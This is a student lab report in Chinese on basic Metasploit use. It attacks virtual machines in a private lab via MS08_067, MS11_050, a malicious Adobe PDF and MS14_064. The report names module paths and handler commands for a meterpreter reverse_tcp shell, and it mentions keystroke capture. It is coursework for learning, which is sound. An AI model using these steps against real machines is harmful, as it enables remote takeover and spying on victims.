20145305 《网络对抗》MSF基础应用

实践过程及结果截图

主动攻击ms08_067

Kali的IP：10.43.46.93

靶机的IP：10.43.49.28

MS08_067远程漏洞攻击实践：Shell

攻击成功的结果

在kali上执行ipconfig/all得到如下图所示

在win xp上执行同样的命令，如下图所示

MS08_067远程漏洞攻击实践：meterpreter

成功攻击结果

执行ifconfig,查看靶机地址

ps查看进程

meterpreter转shell

针对浏览器的攻击ms11_050

Kali的IP：10.43.46.93

靶机的IP：10.43.55.130

exploit如下图所示，有靶机需要访问的ip地址

在靶机IE上输入网址，并在靶机上查看信息

kali中显示一个session 1已经创建

输入命令sessions -i 1,开始连接

已经攻击成功了，开始按键抓取

获取shell

针对客户端的攻击Adobe

Kali的IP：10.43.46.93

靶机的IP：10.43.41.183

输入exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里

使用命令back退出当前模块，并使用use exploit/multi/handler新建一个监听模块

使用set payload windws/meterpreter/reverse_tcp建立一个反向连接

输入命令set LPORT 5305和攻击模块里的数据设置为一样的

使用命令exploit开始攻击，在xp中打开pdf

成功应用任何一个辅助模块ms14_064

Kali的IP：10.43.46.93

靶机（Win7_64位）的IP：10.43.35.204

远程攻击者利用此漏洞通过构造的网站执行任意代码，影响Win95+IE3 – Win10+IE11全版本…

msf里已经加入了此漏洞的利用模块：exploit/windows/browser/ms14_064_ole_code_execution

输入命令search ms14,会显示出找到的渗透模块

输入命令，进入该漏洞模块的使用

使用命令设置攻击有效载荷

输入命令show options显示我们需要在攻击前需要设置的数据

AllowPowershellPrompt的属性默认为false 需要设置为true ，因为msf中自带的漏洞利用调用的是powershell，所以msf中的代码只对安装powershell的系统生效，win7系统安装自带powershell

所以这里测试受害的机器为windows7_64位.IE8.按照图中各个属性配置好后,执行exploit即可

得到一个URL地址，复制到受害者机器(win7)测试

可以看见这边反弹了一个shell,接下里我们就可以随便玩了

测试成功，结束

基础问题回答

（1）用自己的话解释什么是exploit,payload,encode.

exploit就是一段通过触发一个漏洞（或者几个漏洞）进而控制目标系统的代码

攻击代码通常会释放攻击载荷payload，里面包含了攻击者想要执行的代码。这个代码就是我们通常所说的shellcode，传统上，这段代码用来启动系统上的一个shell（比如，获得一个命令行接口），如今，shellcode几乎可以做任何事情了

encode就是用来进行编码加密

实践总结与体会

我的天，做这周的实践开了五个虚拟机，重点是对于性能不好，开两个虚拟机卡的要死的我很崩溃，用了这么久做实践，大部分时间都用在了等待电脑卡机反应的过程中，心好累，

而且有时候在做完了Kali竟然自己重启了，没截图的我很心痛，又重新做了一遍，还要假装微笑